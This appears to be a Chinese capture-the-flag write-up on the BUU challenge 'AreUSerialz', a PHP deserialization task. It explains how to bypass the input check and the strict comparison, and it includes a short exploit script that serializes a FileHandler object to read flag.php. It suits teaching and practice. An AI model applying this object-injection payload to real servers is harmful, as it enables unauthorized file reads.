BUU [网鼎杯 2020 青龙组]AreUSerialz

简介: BUU [网鼎杯 2020 青龙组]AreUSerialz

BUU [网鼎杯 2020 青龙组]AreUSerialz

先看题目,是个php反序列化。源码如下。

<?ph

注意点:


function __construct() {

$this->op = 2;

$this->filename = “flag.php”;

}

construct()里面给变量赋值方法

is_valid()

要求我们传入的str的每个字母的ascii值在32和125之间。因为protected属性在序列化之后会出现不可见字符\00*\00,%00字符的ASCII码为0,不符合上面的要求。


绕过方法:因为php7.1以上的版本对属性类型不敏感,所以可以将属性改为public,public属性序列化不会出现不可见字符

url编码也不行,传进去自动解码,过不去if判断ascii码。


op=2 (int)绕过__destruct。因为类型不一样,int和string,不满足===。


echo file_get_contents("test.txt");       //把整个文件读入一个字符串中,并且回显
echo file_put_contents("test.txt","Hello World. Testing!");   //把一个字符串写入文件中。

链子:__destruct()->process(op= =2)->read()->output(),其他可以不用


这里为什么不是_ _construct开始呢?因为construct在我本地构造序列化字符串时候($j17 = new FileHandler();)就已经执行了,在服务器上面不会执行 _ _construct

exp:
<?php
class FileHandler {
    public $op;
    public $filename;            
    public $content;
    function __construct() {
        $this->op = 2;                                   //只改了
        $this->filename = "flag.php"; (这里也可以用伪协议) //这两行
        $this->content = "Hello World!";                 
    }
}

$j17 = new FileHandler();
echo urlencode(serialize($j17));
?>


目录
相关文章
|
2月前
|
PHP
BUU [网鼎杯 2020 朱雀组]phpweb
BUU [网鼎杯 2020 朱雀组]phpweb
20 2
|
2月前
|
Rust
BUU [vnctf2023]电子木鱼
BUU [vnctf2023]电子木鱼
30 0
|
5月前
|
测试技术
消除游戏(第十三届蓝桥杯省赛C++C组 , 第十三届蓝桥杯省赛PythonA/B/研究生组)
消除游戏(第十三届蓝桥杯省赛C++C组 , 第十三届蓝桥杯省赛PythonA/B/研究生组)
消除游戏(第十三届蓝桥杯省赛C++C组 , 第十三届蓝桥杯省赛PythonA/B/研究生组)
|
5月前
|
测试技术
保险箱(第十四届蓝桥杯省赛PythonB组)
保险箱(第十四届蓝桥杯省赛PythonB组)
蓝桥青少年组——计算24 2020-11-25
蓝桥青少年组——计算24 2020-11-25
|
12月前
|
存储 数据安全/隐私保护
[网鼎杯 2020 青龙组]jocker 题解
[网鼎杯 2020 青龙组]jocker 题解
82 0
|
网络协议
HCIP第二天实验网络类型实验报告
![在这里插入图片描述](https://img-blog.csdnimg.cn/3d2d7f1eb29e494eaaf47bf21f36f29e.png
33 0
|
C++
第十三届蓝桥杯省赛 C++ B组 - 修剪灌木
第十三届蓝桥杯省赛 C++ B组 - 修剪灌木
103 0
|
C++
第十二届蓝桥杯省赛 C++ B组 - 时间显示
第十二届蓝桥杯省赛 C++ B组 - 时间显示
71 0
|
机器学习/深度学习 人工智能 BI
第九届蓝桥杯省赛 C++ A组 - 付账问题
第九届蓝桥杯省赛 C++ A组 - 付账问题
99 0